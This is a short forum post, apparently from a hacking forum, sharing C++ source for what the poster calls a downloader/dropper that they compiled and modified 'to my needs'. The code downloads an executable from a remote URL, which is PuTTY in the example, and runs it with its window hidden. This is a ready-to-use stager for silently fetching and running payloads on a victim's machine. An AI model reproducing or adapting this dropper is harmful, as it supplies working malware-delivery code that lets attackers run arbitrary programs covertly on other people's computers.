This is a very simple straight forward downloader/dropper source i found posted on another forum. I have compiled and modified it to my needs and it works great if you just need something simple and native.
Code:
#include "stdafx.h"
#include <windows.h>
#include <urlmon.h>
#pragma comment(lib, "urlmon.lib")
using namespace std;
DWORD cb;
DWORD dwFlags;
WORD wShowWindow;
STARTUPINFO StartupInfo;
int main()
{
StartupInfo.cb = sizeof(STARTUPINFO);
StartupInfo.dwFlags = STARTF_USESHOWWINDOW;
StartupInfo.wShowWindow = SW_HIDE;
HRESULT hr = URLDownloadToFile(NULL, _T("https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe"), _T("Putty.exe"), 0, NULL);
WinExec("Putty.exe", SW_HIDE);
return 0;
}